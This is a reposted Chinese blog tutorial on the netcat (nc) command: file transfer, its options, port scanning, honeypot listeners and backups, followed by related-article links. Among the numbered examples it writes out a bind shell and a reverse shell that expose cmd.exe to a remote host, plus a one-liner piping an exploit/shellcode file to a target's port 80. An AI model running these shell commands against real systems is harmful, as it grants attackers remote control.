今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下。

发送端:

cattest.txt

| nc -l -p 6666

或者nc -l -p 6666 <

test.txt 有些版本不要在 -p【监听6666端口,等待连接】(设发送端IP为10.20.133.152)

接收端:

nc 10.20.133.152 6666 > test1.txt

如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

想要连接到某处: nc [-options] hostname port[s] [ports] ...

绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

语  法:nc

[-hlnruz][-g][-G][-i][-o

件>][-p][-s][-v...][-w][主机名称][通信端

口...]

补充说明:执行本指令可设置路由器的相关参数。

参  数:

-g

设置路由器跃程通信网关,最丢哦可设置8个。

-G

设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i

设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o

指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

另外,nc命令也可用于端口扫描:

nc -v -z -w2 10.20.133.152 1-14000

可以扫描10.20.133.152主机上的1~14000号TCP端口;nc -u -v -z -w2 10.20.133.152

1-14000

可以扫描10.20.133.152主机上的1~14000号UDP端口。

nc是一款很不错的网络检测工具,以下是详细使用。

'nc.exe -h'即可看到各参数的使用方法。

基本格式:nc [-options] hostname port [ports] ...

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point, up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。

1)连接到远程主机

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听本地主机

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令""等等命令功能更强大......)。

6)作攻击程序用,例子:

格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)

附:'c:exploit.txt'为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:log.txt

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:log.txt'中,如果把‘>'

改为‘>>'即可以追加日志

附:'c:log.txt'为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:honeypot.txt

格式2:type.exe c:honeypot.txt|nc -L -p 80

讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:honeypot.txt'的内容‘送'入其管道中!

10)备份档案

A机的资料夹 /data备份到B主机的backup.tgz

源主机: tar czf - work|nc -l -c -p 1234

目的主机: nc 192.168.0.1 1234 >a.tgz

A:tar -zcf data|nc -l -p 4444

B:nc a 4444 >backup.tgz

传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

linux nc源码下载,[转载]linux下nc的使用相关推荐

  1. HotSpot源码(一):Docker与虚拟机的区别,class字节码解析,linux内核源码下载地址,Yacc与Lex快速入门

    Docker是虚拟机吗? Docker是用来隔离的,使用的是隔离的namespace,使用OS提供的接口进行应用程序之间的资源隔离,不是虚拟机.再加上它自己特殊的文件系统,一层一层叠加.他只不过是一个 ...

  2. linux 内核源码下载网址

    记录下linux 内核源码下载网址: https://mirrors.edge.kernel.org/pub/linux/kernel/ linux 0系列版本下载网址 http://oldlinux ...

  3. Linux内核源码下载方式

    官网 Linux内核源码下载页面 https://www.kernel.org/pub/linux/kernel/ 页面介绍: HTTP https://www.kernel.org/pub/ GIT ...

  4. 树莓派Linux系统内核源码下载方式

    树莓派Linux系统内核源码下载方式(参考了rpi-source的wiki) 最近使用树莓派开发东西,买了个树莓派3B,然后去官网下载了img镜像烧写进去,由于需要用到内核源码,去/lib/modul ...

  5. linux 浏览器源码下载,Android开发:图片浏览器源码

    Android 图片浏览器源码,是你学习Android很好的例子,希望对你的学习有帮助. main.xml android:layout_width="fill_parent" a ...

  6. linux从源码编译cairo,Windows 下编译 cairo 二维图形库

    cairo 的简介 cairo 是一个免费的矢量绘图软件库,它可以绘制多种输出格式.cairo 支持许多平台,包括 Linux.BSD.Microsoft® Windows® 和 OSX(BeOS 和 ...

  7. centos的linux内核源码下载方法

    刚开始进行写linux驱动时,写好Makefile后进行make,出现scripts/xxx/Makefile:没有那个文件或目录,编译停止!错误,这是linux系统没有安装内核源码导致的. 例如 下 ...

  8. linux busybox源码下载,源码编译 busybox

    源码编译 busybox 一.下载源码包 [root@centos7 ~]# wget https://busybox.net/downloads/busybox-1.30.1.tar.bz2 --2 ...

  9. linux access源码,从零开始学习Linux:Day04 源码安装Nginx 。acess/status/referer

    从零开始学习Linux:Day04 源码安装Nginx .acess/status/referer 常见web服务器有IIS,apche,nginx,tomcat,tengine等等,现在nginx使 ...

最新文章

  1. linux安装用户名,Linux_Linux下用户名修改法,  在安装系统的时候填写 - phpStudy
  2. NBUT校赛 J Alex’s Foolish Function(分块+延迟标记)
  3. 在AWS上搭建NEO私有链(1)
  4. LeetCode 面试题 10.02. 变位词组
  5. Linux基础命令---findfs
  6. #3328. PYXFIB(单位根反演)
  7. 论文浅尝 | IRW:基于知识图谱和关系推理的视觉叙事框架
  8. python矢量裁剪栅格代码_Python中使用面状矢量裁剪栅格影像,并依据Value值更改矢量属性...
  9. Clipsync – 同步 Win 和 Android 剪贴板
  10. Handler、AsyncTask、HandlerThread和IntentService之间的对比
  11. .NET Framework 3.5 sp1离线安装方案
  12. 去银行写代码是种什么体验?
  13. 2019运输科技领域最新SCI期刊影响因子正式发布,附三年IF变化趋势!
  14. 微信公众号开发之分享功能
  15. Clark变换与Park变换
  16. 自制麦克纳姆轮遥控小车
  17. Javescript REVIEW
  18. HTTP协议5之代理--转
  19. 2022.11.11 英语背诵
  20. html弹出层很字体模糊了,由CSS3 transform 字体模糊问题揭示出浏览器渲染机制

热门文章

  1. NXP RT1064学习笔记(一)— 开发环境
  2. 车牌识别之LPRNet
  3. C++ Thunk技术
  4. 图像滤镜特效(反色、浮雕、雕刻、怀旧、冰冻、暗调)(一)
  5. Dreamweaver(Dw)软件下载安装以及第一个网页代码
  6. Word for mac中行尾下划线不显示问题的解决方案
  7. 蒲丰投针问题和蒙特·卡罗方法
  8. 深入了解spring
  9. unity小地图实现----等比例映射实现的几种方式
  10. JavaScript中的内置对象